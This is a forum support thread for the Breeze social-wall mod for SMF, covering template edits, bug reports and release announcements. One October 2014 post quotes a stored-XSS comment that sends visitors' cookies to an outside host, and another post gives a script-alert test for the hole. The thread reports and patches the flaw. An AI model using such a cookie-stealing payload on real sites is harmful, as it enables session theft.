Post by: meemzo on September 16, 2014, 12:31:46 PM
Since I'd rather have the images distorted than the sloppy layout, can I implement the changes somehow?
Title: Re: Breeze
Post by: Suki on September 16, 2014, 02:07:28 PM
On your Sources/Breeze/BreezeUserInfo.php file find this line:

Code: [Select]
<a href="#facebox_'. $user['id'] .'" rel="facebox"><img src="'.(!empty($user['avatar']['href']) ? ''.$user['avatar']['href'].'' : $settings['default_theme_url'] .'/images/breeze/default_user.png') . '" width="50px" /></a>';

There is a width="50px"  just add a height too:

width="50px" height="50"
Title: Re: Breeze
Post by: meemzo on September 16, 2014, 02:22:39 PM
 :-* :-* :-* :-*

Thank you!!
Title: Re: Breeze with linkpreview prefetch url
Post by: queennikki1972 on September 20, 2014, 08:44:19 AM
Our website uses Breeze Mod flawless and seamless with Simple Audio Embedder and @Mentions. Worked right out of the box. I downloaded a program called AJAX Link Preview design to pre-fetch url snapshots like Facebook. This program uses database to store post, however I am ok with that since our current usage is minimal. I am not an smf expert and don’t know how to add a hook  for this program. Is there any plans to integrate this into Breeze, since it is really the only place someone would need it in SMF? Here is one link to the program and yes, it does work at a 90% success rate, but has issues resolving major sites like MSN.COM..

Here is a link to the linkpreview version I found https://github.com/LeonardoCardoso/Facebook-Link-Preview (https://github.com/LeonardoCardoso/Facebook-Link-Preview)

Any help on this project is appreciated..

Nicole
Title: Re: Breeze
Post by: Suki on September 20, 2014, 09:34:06 AM
Sorry, nope, there is no plans to add anything like that as there is no way to do it efficiently in PHP. 

If that script has problems fetching certain sites then you might want to report it to its author.

I edited your post to remove your mail address, otherwise you will get spammed.
Title: Re: Breeze
Post by: Shadight on September 26, 2014, 05:24:53 AM
Hello Suki.

I saw on a website of your member website an option who seems not released.

It's a cover-photo block where the member can put a cover seems. It's a "private release" or it's will be included in the next release?

Because this option is great. Thank you for the information.
Title: Re: Breeze
Post by: Suki on September 26, 2014, 09:23:08 AM
Its not a private release, its a new feature included in the new version.
Title: Re: Breeze
Post by: Shadight on September 26, 2014, 09:28:13 AM
Oh really? But i have not this option.

I have downloaded the last version, i haven't this thing.

But i don't know why, when i download the version on smf or your forum, i have the release 1.0.4 and not the 1.0.6

Maybe it's the problem?
Title: Re: Breeze
Post by: Suki on September 26, 2014, 09:34:28 AM
This is my release page: https://github.com/MissAllSunday/Breeze/releases

And no, 1.0.x versions does not include this feature. 1.0.x is essentially feature frozen and will only get security/bug fixes.

  The cover and other features will be included in the next major version which is 1.1.  Version 1.1 isn't released yet and its only going to be compatible with SMF 2.1.
Title: Re: Breeze
Post by: Shadight on September 26, 2014, 09:36:39 AM
Oh okay, too bad.

Thank you for the informations.
Title: Re: Breeze
Post by: queennikki1972 on October 17, 2014, 12:43:19 PM
This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php


Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.
Title: Re: Breeze
Post by: Suki on October 17, 2014, 01:22:37 PM
Quote
This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php


This is a massive amount of work and I currently do not have the time to implement something like that.

Quote
Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.

You cannot do this efficiently with PHP, you just can't. If you have your own server then it will be far better to implement a bot to fetch pages and collect that data, then when an url is submitted let PHP search for it in whatever DB you store whatever the bot has fetched.

If you already have a script then just intercept the content before is sent to the server, on Themes/default/js/breeze.js

Then you will need to add a sniffer or a jquery event to the textarea to capture whatever the user is typing or has already typed and parse it with some regex to get any valid urls, capture them and send that data to your script.

Your script should be able to return any data it found, perhaps as json or plain HTML stuff, I dunno, either way, you can retrieve that data and show it just under the textarea the user is using to post.  Then you can append the info to Breeze's object status  which is going to be send and all properties inside it will be converted to POST request that you can easily capture on BreezeAjax.

There are already a few jquery libs to fetch whatever the user us typing, you may want to use them since coding that yourself is going to be a nightmare.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 10:54:04 AM
<div class="breeze_user_comment_comment">
   Good job on Rainbow! :D<br /><script>document.location="hxxp:rrdl.bplaced.net/index.php?x= [nonactive]" document.cookie;</script>
   <div class="breeze_options">
      <span class="time_elapsed" title="October 21, 2014, 01:41:00 PM">13 hours ago.</span>

this was posted on a comment on a profile and it did redirct me back to the home page.
i was told this was a session stealer code

how to stop it
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:01:12 AM
Make sure you're running the latest version, currently at 1.0.6
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 11:09:20 AM
i was from your site
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:12:28 AM
huh?

my site currently doesn't have any mods for downloads, you need to either download the mod from the github release page or from the modsite page.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 11:18:38 AM
13.   Breeze   1.0.4     

even after i remove all data and reinstall it always says this on the package manager
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:23:43 AM
Thats because I forgot to update the version on the package-info.xml file

Go to this page:  http://custom.simplemachines.org/mods/index.php?mod=3839

Download the mod from there and install THAT package.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 11:26:38 AM
i did twice now still comes up as 1.0.4 and this was the mod i was using
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:28:49 AM
Yes, it will always be 1.0.4 because I haven't change that number to reflect the current version, its just a number, as long as you have the correct version installed it doesn't matter if the packager manager shows 1.0.4.

If you know have the latest version then just delete the offending message.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 11:31:02 AM
but i was told it was a session stealer and evertime i went to the profile page it did a redirection back to the home page i had to disable the mod just to go to that profile which was an admin
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:38:31 AM
Yes it was, after you upgraded to the latest version, it is no longer an issue, the offending message still resides on your DB so you need to delete that message.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 11:40:39 AM
like i said i was using the 1.0.6 and after deleting the mod it had an option to remove all data which i did re installed the mod was able to go to the admins page that it was located on but like i said i was using the latest version you only have on listed on the mod site
Title: Re: Breeze
Post by: Suki on October 22, 2014, 11:58:01 AM
Can you reproduce it?  I can't reproduce it on my local test or at my site.

Try posting this bit of code on any wall page:

Code: [Select]
<script>alert("hello");</script>


If you don't see an alert page then it means you're safe.
Title: Re: Breeze
Post by: Suki on October 22, 2014, 01:27:14 PM
New release: Breeze 1.0.7 (https://github.com/MissAllSunday/Breeze/tree/v1.0.7)


This release adds a new security layer by implementing the DOMPurify (https://github.com/cure53/DOMPurify) library to both comments and status messages.

It also fixes a wrong version on package-info.xml as well as adding the current version to the version tag on all files.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.7

The green button is a ready to install package.

To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 04:15:49 PM
isorry had to go to work i uninstalled 1.0.6 and all the data installed the 1.0.7 went to a profile and added <script>alert("hello");</script> a pop up came up saying Hello pick in attachments
Title: Re: Breeze
Post by: Suki on October 22, 2014, 08:40:33 PM
Thats not possible, the purify lib should have taken care of it and instead you should see an error message telling you to enter something on the textarea field.
Title: Re: Breeze
Post by: Toxic__Waste on October 22, 2014, 09:46:26 PM
im telling you exactly what happened see for your self www.project-rainbow.org/site
Title: Re: Breeze
Post by: Suki on October 23, 2014, 08:37:34 AM
Guest cannot see profile pages.
Title: Re: Breeze
Post by: Toxic__Waste on October 23, 2014, 09:10:14 AM
my profile page with the script in the comments
http://www.project-rainbow.org/site/profile/?u=1
Title: Re: Breeze
Post by: Suki on October 23, 2014, 09:40:01 AM
A screen shot doesn't help, I need a regular user account.
Title: Re: Breeze
Post by: Cmely on November 22, 2014, 04:36:43 AM
Hello Suki, and thank you for having made this mod which is very interesting.

I have however two questions :

1. I'm using Ultimate profile too. As Breeze is setup right now, it is the landing page when you click on a user's "profile" link. Is it possible, and how, to keep "Ultimate Profile" as the main page ? The behaviour I would expect would be :

Code: [Select]
[b]When [/b]"Profile link" is clicked [b]then [/b]
 [b]if [/b]User have an Ultimate Profile go to Ultimate profile main page
 [b]else [/b]go to Wall page (or Regular Profile page, it's equal for me)


2. Is it possible to use the custom CSS created in an Ultimate Profile page on the Breeze page ?

Thanks in advance for your answers.
Title: Re: Breeze
Post by: Suki on November 22, 2014, 03:29:44 PM
Both mods weren't designed to work together so no, there isn't an easy way to do what you want.
Title: Re: Breeze
Post by: Cmely on November 23, 2014, 10:24:41 AM
Both mods weren't designed to work together so no, there isn't an easy way to do what you want.

Well, too bad for me...I won't be able to use your great mod.

I have members who already have setup their Ultimate Profile page, as you can see on the few example provided below, and I believe they wouldn't like to lose their Personal Page.
http://www.lux-optima.com/index.php?action=profile;area=static;u=96
http://www.lux-optima.com/index.php?action=profile;area=static;u=671
http://www.lux-optima.com/index.php?action=profile;area=static;u=5

Maybe it is something you could consider for a future release ?
Or, let's dream a little bit (afterall Christmas is coming soon  ;D ;) ) a kind of integration of both mods ?
Title: Re: Breeze
Post by: Suki on November 23, 2014, 02:01:56 PM
While it is possible to do what you ask, I just don't have the time to do it and it seems its something very few people would actually use. I rather prefer to add more features to my mod than integrating it with a similar one.

In theory you could replace Ultimate profile's comment system with Breeze's, just requires a bit of manual work to get it done.

If you don't want Breeze as the default profile page then open your Sources/Breeze/Breeze.php file, find and comment out this lines:

Code: [Select]
$profile_areas['info']['areas']['summary'] = array(
'label' => $tools->text('general_wall'),
'file' => Breeze::$folder . 'BreezeUser.php',
'function' => 'breezeWall',
'permission' => array(
'own' => 'profile_view_own',
'any' => 'profile_view_any',
),
);
// If the mod is enable, then create another page for the default profile page
$profile_areas['info']['areas']['static'] = array(
'label' => $tools->text('general_summary'),
'file' => 'Profile-View.php',
'function' => 'summary',
'permission' => array(
'own' => 'profile_view_own',
'any' => 'profile_view_any',
),
);

As for replacing UP comment system with Breeze's its just a matter of including Breeze js files and the template code on whatever file UP uses to display comments, its doable but requires lots of edits to get it done right.
Title: Re: Breeze
Post by: Cmely on November 23, 2014, 03:36:07 PM
While it is possible to do what you ask, I just don't have the time to do it and it seems its something very few people would actually use. I rather prefer to add more features to my mod than integrating it with a similar one.

I certainly understand that. This is perfectly normal.

If you don't want Breeze as the default profile page then open your Sources/Breeze/Breeze.php file, find and comment out this lines:

Thank you very much for this information. I guess Breeze will still be functional even if it's not the default profile page ?

Title: Re: Breeze
Post by: Suki on November 24, 2014, 12:17:21 PM
Well, Breeze is pretty much intact, the only thing now is that there is no actual page to display the wall.
Title: Re: Breeze
Post by: Suki on March 02, 2015, 08:02:07 PM
For anyone interested, I finished the main features I wanted to add to the new version, some of the new features are:

- Revamped code, full OOP using Pimple for Dependency Injection and overall cleaner code, less files too!
- SMF's likes and mentions included on any status/comments.
- Fully integrated with SMF's alert system. The current actions are supported:

When someone post a status on my wall
When someone comment on a status I made
When someone comment on a status made on my wall
When someone mentions me on a comment or status on any wall
When someone likes a comment or status I made on any wall

- Revamp the old Breeze notification system, some of the actions currently supported are:

 Alert people when I change my cover image.
 Alert people when I change my mood.
 Alert people when I like something.
 Alert people when I make a status
 Alert people when I make a comment.
 Alert people when I create a new topic.

These are the actions you made your buddies or users in general will be able to see. Your users have full control over what they want to show, if they delete an alert it won't show up to anybody, only the alerts they have marked as enable will be visible to other users as well.

Both the alerts and the notifications can be expanded and I'm currently thinking what more actions can I cover.

- Cover upload feature. Your users will be able to upload an image, just like twitter or facebook, to act as their cover on their wall, admins can customize who can upload covers as well as the max width, height and size.
- My mood feature, little images that represents moods, your users will be able to change their mood from any post they made, the admin can add/edit/delete any image and set permissions for it.
- The wall page got revamped too, make it responsive (basic responsive support), the same for the general wall.
- The general wall now shows more stuff besides your buddies status/comments, if your buddies allow it, their actions will appear on your general wall.

- Auto-updating timeago text courtesy of Livestamp.js.
- Icons for alerts and logs from Font Awesome.

Anyone with a SMF 2.1 test install who wants to help out debugging it is welcome to get the latest package from github (https://github.com/MissAllSunday/Breeze).

A demo can be found at my site (http://missallsunday.com/index.php?action=profile;u=1)
Title: Re: Breeze
Post by: DragoN_PT on March 03, 2015, 11:51:13 PM
Oh, this looks nice! Great work.  ;)
Title: Re: Breeze
Post by: br360 on March 04, 2015, 03:21:53 AM
Oh, this looks nice! Great work.  ;)

Seriously. This mod is awesome.
Title: Re: Breeze
Post by: Suki on March 19, 2015, 03:57:50 PM
To Whom It May Concern!

Just finished revamping the buddy system:

The buddy system is now tied up with the SMF alert system, a typical case would be like this:

- User X sends a buddy invite to user Y.
- User Y receives an SMF alert informing user X wants to be your buddy.
- User Y has 2 options, either confirm or deny the invitation.
- If confirm, 2 logs will be fired and user X will receive another alert telling him/her that user Y confirmed the buddy request and they are now buddies!  Both users can decide if this even will be log into their own recent activity, there is now a new alert setting:

Alert people when I or a person I sent a buddy invitation to accept and confirms the buddy invitation

If user X or user Y has that option enabled, a log will be done with something like this:

user X and user Y have become buddies!.

If user Y rejects the invite, user Y has the possibility to put user X into a "block list" so that user X cannot send more invites to user Y, this is different than the regular ignore list.  User X will not know that user Y has him/her in that list, whenever user x tries to send an invitation, a general error will appear:

"you cannot send a buddy invitation to this user"

The same happens to people in your ignore list.

Still looking for ideas to improve the whole profile and the general wall template and add other "user events" that might be worth adding it to the user's "recent activity" stream.
Title: Re: Breeze
Post by: DragoN_PT on March 20, 2015, 05:47:09 PM
Nice.

(https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-xap1/v/t1.0-9/11058509_955490707796824_1086874556567450037_n.jpg?oh=6b2ddbeeccca101974315eaed5386b4a&oe=557DD059&__gda__=1434596997_01606d4f392e424173b774331f4ba3fd)
Honda approves!
Title: Re: Breeze
Post by: eldritch1969 on March 21, 2015, 06:52:39 AM
Oh, this looks nice! Great work.  ;)

Seriously. This mod is awesome.

Exactly, I like a lot !
Title: Re: Breeze
Post by: Suki on June 29, 2015, 01:56:42 PM
A new version has been released, this pushes the version number to 1.0.8.

The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.8

If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.7...v1.0) can be used to locate all changes from 1.0.7 to 1.0.8

This new release fixes a security issue involving users been able to post status/comments as other users. Thanks to JSX3 for reporting it.

To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.
Title: Re: Breeze
Post by: fapencio on July 06, 2015, 02:21:13 PM
A new version has been released, this pushes the version number to 1.0.8.

The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.8

If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.7...v1.0) can be used to locate all changes from 1.0.7 to 1.0.8

This new release fixes a security issue involving users been able to post status/comments as other users. Thanks to JSX3 for reporting it.

To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.

gracias Suki por el mod, es el mejor en su categoría.

solo quería preguntar si vas a continuar mejorando esta versión de breeze para foros 2.0.x

te pregunto eso porque me gustaría que le agregaras las funciones que tiene la versión de breeze para foros 2.1

por favor mejoralo, para que ambas versiones de breeze tengan las mismas funciones, saludos
Title: Re: Breeze
Post by: Suki on July 07, 2015, 09:34:01 AM
Lamentablemente no es posible hacerlo, la gran mayoría de mejoras incluidas en Breeze 1.1 dependen enteramente de funciones y caracteristicas que sólo están disponibles en SMF 2.1.

Unfortunately, it cannot be done, the vast majority of new features included in Breeze 1.1 depends entirely on functions and features only available on SMF 2.1.
Title: Re: Breeze
Post by: fapencio on July 07, 2015, 12:54:26 PM
Lamentablemente no es posible hacerlo, la gran mayoría de mejoras incluidas en Breeze 1.1 dependen enteramente de funciones y caracteristicas que sólo están disponibles en SMF 2.1.

Unfortunately, it cannot be done, the vast majority of new features included in Breeze 1.1 depends entirely on functions and features only available on SMF 2.1.

 :'( :'( :'(

ok Suki, many thanks, i love breeze
Title: Re: Breeze
Post by: fapencio on July 21, 2015, 11:07:22 PM
Hola Suki, he tratado de poner imagenes en los comentarios de breeze, pero solo sale el código bbc de la imagen con la url, no se ve la imagen, sabes la razón? ayuda por favor
Title: Re: Breeze
Post by: roza on August 15, 2015, 08:56:47 AM
Dear Suki,
I would like to thank you very much for making and sharing this mod. I've just installed the last version in my 2.0.10 smf forum and I've translated it's main language file as well. But I have important question now! as I understand at the moment you can just write plain text in status box and it is critical for our users  to be able to share their personal photos or even videos on their own walls besides the text. Is there any way that the smf WYSIWYG editor works for status too? I'm sure that it is one of the planed features for future releases of this mod but I would be really grateful if you or other pros there guide me to do it now manually. I already searched the community and the only thing that I could find somehow relevant was this post (http://www.simplemachines.org/community/index.php?topic=254235.msg1650935#msg1650935). Honestly, I did not get so much from it and did not get it right where I should start the work! Do you think that solution may also be applied in my case?
Sorry, for my writing! I know my English is not well enough yet.
Thank you in advance.
Title: Re: Breeze
Post by: Suki on August 16, 2015, 12:59:56 PM
No, currently the mod doesn't support the SMF editor and I don't plan to add that feature to the next version.

Both status and comments does support BBC tags though.
Title: Re: Breeze
Post by: Maggan22 on October 13, 2015, 05:22:09 PM
I had installed this mod - then the forum shows following Error:
Unknown column 'mem.gender' in 'field list'
Datei: /www/htdocs/w009ae80/ZB/Sources/Breeze/BreezeQuery.php
Zeile: 847
Frotend works again, but i cant repair the Backend.
Please help me

Thank you
Title: Re: Breeze
Post by: Suki on October 19, 2015, 10:03:01 AM
Your member table should have a "gender" column, its a default column on every install, perhaps another mod mistakenly deleted that column in which case you should re add it back via phymyadmin or similar.
Title: Re: Breeze
Post by: Mimmi on October 26, 2015, 06:06:07 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0

The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.

There are no other 'Mentions' Mods installed, any help would be appreciated.

Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.

Will take a look at it when I have some time.

Thank you for a mod that looks very nice, I just need to get to know it and solve a couple of problems :-)

1. I cannot get the mention/tagging to work.

Forum version: SMF 2.0.11
Server: PHP 5.3 + suphp
Firefox 41.0.2 og Chrome 46.0.2490.80

Permissons set like Tonyvic.

Modification Packages
1.    Breeze    1.0.8    
2.    View Single Category    2.5    
3.    Like Posts    2.0.5    
4.    Tapatalk SMF 2.0 Plugin    4.3.2    
5.    Resize Attached Images    2.4.1    
6.    Simple Audio Video Embedder    3.5a    
7.    Embed Tumblr BBCode    2.4    
8.    Embed Tweet BBCode    1.1.1    
9.    Embed Facebook BBCode    2.9    
10.    Embed Instagram BBCode    1.11    
11.    AJAX Recent Topics    1.1    

So you have any suggestion what could be causing the problem that the dropdown doesn't work?

2. Update not showing

The green part on top here is grey and there are no text when I'm posting.
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fcustom.simplemachines.org%2Fmods%2Findex.php%3Faction-download%3Bmod%3D3839%3Bid%3D229517%3Bimage&hash=fb0797ab565a0aa1f49944740c9bbf54)
I have to update the browser in order to see me newest post/reply.

Are the problems related?
Title: Re: Breeze
Post by: Suki on October 27, 2015, 11:09:42 AM
The image you posted isn't visible.

This mod will def not work with tapatalk or any other mod that completely replaces default files.

For the mentions stuff, check any error in the console log in Chrome and see if there is any error, can't really tell what what it is unless you provide a demo account and a link to your forum.
Title: Re: Breeze
Post by: Mimmi on October 27, 2015, 12:55:00 PM
The image you posted isn't visible.

This mod will def not work with tapatalk or any other mod that completely replaces default files.

For the mentions stuff, check any error in the console log in Chrome and see if there is any error, can't really tell what what it is unless you provide a demo account and a link to your forum.

Thank you for your quick reply!

I'm sorry about the missing picture, I'll try again:
(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fcustom.simplemachines.org%2Fmods%2Findex.php%3Faction-download%3Bmod%3D3839%3Bid%3D229517%3B&hash=0a45dba639c346c8569a922fa01d51b2)

http://custom.simplemachines.org/mods/index.php?action=download;mod=3839;id=229517;image (http://custom.simplemachines.org/mods/index.php?action=download;mod=3839;id=229517;image)

Please PM me your email address and I'll give you access.

I will test it in Chrome now.
Title: Re: Breeze
Post by: Suki on October 27, 2015, 08:30:34 PM
It would be much quicker to just pm a test account able to mention users 😉
Title: Re: Breeze
Post by: Mimmi on October 28, 2015, 03:45:30 AM
It would be much quicker to just pm a test account able to mention users 😉

OK, I have sent you a PM now, hope you can get in.
Title: Re: Breeze
Post by: Suki on October 28, 2015, 10:45:22 AM
All the ajax request returns with an "net::ERR_CONTENT_DECODING_FAILED" usually that means the server claims its using gzip to encode the content but it isn't actually doing it.

One way to solve it would be turning off gzip encoding form your SMF admin panel.


I also discovered that theres a missing ";" on the ajax call which pretty much prevents using mentions, I thought I already fixed this on previous versions :(  I'll check it again and release a new version to fix this.
Title: Re: Breeze
Post by: Mimmi on October 29, 2015, 03:33:22 AM
All the ajax request returns with an "net::ERR_CONTENT_DECODING_FAILED" usually that means the server claims its using gzip to encode the content but it isn't actually doing it.

One way to solve it would be turning off gzip encoding form your SMF admin panel.

Thank you! I couldn't find the gzip in the admin panel, but went to the database:
Table: Settings > enableCompressedOutput
Changed it from 1 to 0, I guess I turned the gzip off then?

Now it works in FF, but not in Chrome. I have not tested other browsers.
Title: Re: Breeze
Post by: Suki on October 29, 2015, 12:45:39 PM
Try clearing your cache on Chrome.

To fix the missing comma open your Themes/default/js/breezeMention.js  file, find:

url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1' + breeze.session.v + '=' + breeze.session.id,


And replace with:

url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1;' + breeze.session.v + '=' + breeze.session.id,
Title: Re: Breeze
Post by: Suki on October 29, 2015, 06:54:56 PM
A new version has been released, this pushes the version number to 1.0.9.

The new package can be found in either this site's customization site or at github: https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.9

If anyone is interested on manually performing the changes, this page (https://github.com/MissAllSunday/Breeze/compare/v1.0.8...v1.0) can be used to locate all changes from 1.0.8 to 1.0.9

This new release fixes missing semicolon on an ajax call, preventing users from using the mentions feature.

To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.
Title: Re: Breeze
Post by: Mimmi on November 02, 2015, 03:15:06 AM
Try clearing your cache on Chrome.

To fix the missing comma open your Themes/default/js/breezeMention.js  file, find:

url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1' + breeze.session.v + '=' + breeze.session.id,


And replace with:

url: smf_scripturl + '?action=breezeajax;sa=usersmention;js=1;' + breeze.session.v + '=' + breeze.session.id,

Sorry for the late reply, have been busy! I've updated. And discovered that the problem wad not the browser, but the user. In chrome I was logged in as the admin and since the admin was not in any of the normal groups it had not the rights to mention. Sorry for me being confusing, hope the explanation help someone else: Check out the permissions and group settings!

Thank you for a great mode. Please let me know how I may donate. I will also try to finish a Norwegian translation soon, but I'm real busy the next three weeks, so I will not make any promises.

I have just one last comment/question:
Would it be possible to call the wall-box on the front page? I would like it to appear at the top above the first board, so that people may publish to their wall without entering their profile.
Title: Re: Breeze
Post by: Suki on November 05, 2015, 03:57:09 PM
The wall block heavily depends on data from the profile page so it would be somehow difficult to be able to add all that info on the front page. might be possible but it would be a huge modification and unfortunately I don't have that much free time, I prefer to spend time working on the new version.

With all the changes introduced in the new version it might be easier to add a popup/lightbox for people to post new status on it, will see what I can do about it.

Title: Re: Breeze
Post by: chrishicks on November 24, 2015, 07:19:54 PM
I was wondering if someone could point me in the right direction to fix a little issue(it's an OCD thing) that I'm having. When in the Profile there's a little "wall" button that throws off the alignment and it just bugs me.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fi.imgur.com%2FKDIN2to.png&hash=5072a9565e361cbd2bbd1ee835f6a62d)

I don't know if it's a theme issue or what but I'd love to be able to raise that button up or move it if possible.
Title: Re: Breeze
Post by: Suki on November 25, 2015, 02:06:48 PM
Can I see a link to a profile on your forum?
Title: Re: Breeze
Post by: chrishicks on November 25, 2015, 03:52:32 PM
Thank you for the reply. My profile link is http://rejectsreststop.com/forum/index.php?action=profile;area=summary;u=1
Title: Re: Breeze
Post by: Suki on November 25, 2015, 09:09:45 PM
Guest can't see the profile menu re-arrange, can you please pm a regular user account
Title: Re: Breeze
Post by: Suki on December 03, 2015, 01:09:14 PM
Thank you for the reply. My profile link is http://rejectsreststop.com/forum/index.php?action=profile;area=summary;u=1


I've looked at the profile page and I saw the wall button but I'm not sure what you want to do with it.


That wall button is used to go back to the wall page, th mod adds 3 tabs, wall, about me and recent activity, if you don't use the other features and want to remove that button look in your /Themes/default/Breeze.template.php

find this:

Code: [Select]
<ul class="dropmenu breezeTabs">
<li class="wall"><a href="#tab-wall" class="active firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_wall'] ,'</span></a></li>';
// The "About me" tab.
if (!empty($context['Breeze']['settings']['owner']['aboutMe']))
echo '
<li class="about"><a href="#tabs-about" class="firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_about'] ,'</span></a></li>';
// Does recent activity is enable?
if (!empty($context['Breeze']['settings']['owner']['activityLog']))
echo '
<li class="activity"><a href="#tab-activity" class="firstlevel"><span class="firstlevel">', $txt['Breeze_tabs_activity'] ,'</span></a></li>';
echo '
</ul>

replace with this:

Code: [Select]
<ul class="dropmenu breezeTabs">
</ul>
Title: Re: Breeze
Post by: foxesdancingonsnow on May 20, 2016, 10:34:03 PM
I have a question.  Is it possible to pull status updates from all users instead of only buddies for the wall page?

Also, I did try the solution from a post on page 2 of this topic (I can't post links or I would direct right to it).  It looks like that code has been included in later versions of Breeze.  When I use the code suggested for the PHP block, I do get the most recent status updates, but they are all smooshed together with no way to tell who made them or anything like that.  Does anyone have any pointers for teasing them apart so at least the statuses are displayed separately?
Title: Re: Breeze
Post by: Grammy on May 22, 2016, 03:30:40 PM
Please, where are the admin settings for this mod located?  I added ?action=admin;area=breezeadmin;sa=settings to my link and it just takes me to the general administration area but there is no mention of Breeze there.  I didn't get redirected after the installation. 

Thanks so much.




Never mind.....  it says it installed successfully but it didn't.  Danged package manager...   >:(
Title: Re: Breeze
Post by: Suki on May 24, 2016, 01:52:46 PM
A new version has been released, this pushes the version number to 1.0.10

1.0.10 May 24, 2016
- Update atwho and caret, use min versions.
- Add support for Ohara youtube mod.
- Remove purify call on submitted content to prevent double encoding.


To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.
Title: Re: Breeze
Post by: coltp45 on July 15, 2016, 02:15:23 PM
I have profile song on my forum is possible to add to the wall?

http://custom.simplemachines.org/mods/index.php?mod=2159
Title: Re: Breeze
Post by: Suki on July 17, 2016, 11:39:40 AM
Open your Themes/default/Breeze.temlate.php file, find this:

Code: [Select]
// End of left block
echo '
</div>';

After that open a new div and put the song' player on it:

Code: [Select]
if(isset($context['member']['song']) && !empty($context['member']['song']))
echo '
<script type="text/javascript" src="',$boardurl,'/swfobject.js"></script>
<div id="song">&nbsp;</div>
<script type="text/javascript">
var so = new SWFObject("',$boardurl,'/player.swf","profilesong","',!empty($modSettings['player_width']) ? ''.$modSettings['player_width'].'' : '300','","',!empty($modSettings['player_height']) ? ''.$modSettings['player_height'].'' : '81','","9","#ffffff");
so.addParam("allowfullscreen","true");
so.addParam("allowscriptaccess","always");
so.addParam("wmode","opaque");
so.addVariable("file","', $context['member']['song'], '");
',!empty($modSettings['player_plugins']) ? 'so.addVariable("plugin","'.$modSettings['player_plugins'] .'");' : '','
',!empty($modSettings['player_volume']) ? 'so.addVariable("volume","'.$modSettings['player_volume'] .'");' : 'so.addVariable("volume","80");','
',!empty($modSettings['player_skin']) ? 'so.addVariable("skin","'.$modSettings['player_skin'] .'");' : '','
',!empty($modSettings['player_width']) ? 'so.addVariable("width","'.$modSettings['player_width'] .'");' : '','
',!empty($modSettings['player_height']) ? 'so.addVariable("height","'.$modSettings['player_height'] .'");' : '','
',!empty($modSettings['player_image']) ? 'so.addVariable("image","'.$modSettings['player_image'] .'");' : 'so.addVariable("image","'.$context['member']['avatar']['href'] .'");','
',!empty($modSettings['player_repeat']) ? 'so.addVariable("repeat","true");' : '','
',!empty($modSettings['player_autostart']) ? 'so.addVariable("autostart","true");' : '','
so.write("song");
</script>';
else
echo $txt['profile_song_none'];

Title: Re: Breeze
Post by: coltp45 on July 18, 2016, 11:37:11 AM
Thanks.
Title: Re: Breeze
Post by: Grammy on July 24, 2016, 04:40:03 PM
Hi,

When using "action=who" I'm getting this a lot:

Unknown Action (Action: breezeajax -> fetchNoti)

I've been able to confirm that the users have not yet activated their walls (it's a new forum).  Is there any sort of edit that would keep "action=who" from being affected this way?

Thanks so much.
Title: Re: Breeze
Post by: Grammy on July 27, 2016, 04:54:23 PM
Hi,

When using "action=who" I'm getting this a lot:

Unknown Action (Action: breezeajax -> fetchNoti)

I've been able to confirm that the users have not yet activated their walls (it's a new forum).  Is there any sort of edit that would keep "action=who" from being affected this way?

Thanks so much.



Little bump; just when you get time. 
Title: Re: Breeze
Post by: Grammy on August 01, 2016, 05:07:39 PM
That's okay; I've decided to just uninstall it.  Thanks, anyway.
Title: Re: Breeze
Post by: Snrj on November 16, 2016, 07:59:54 AM
turkish lang download http://www.simplemachines.org/community/index.php?topic=549946.0
and http://smf.konusal.com/index.php?action=downloads;sa=view;down=74
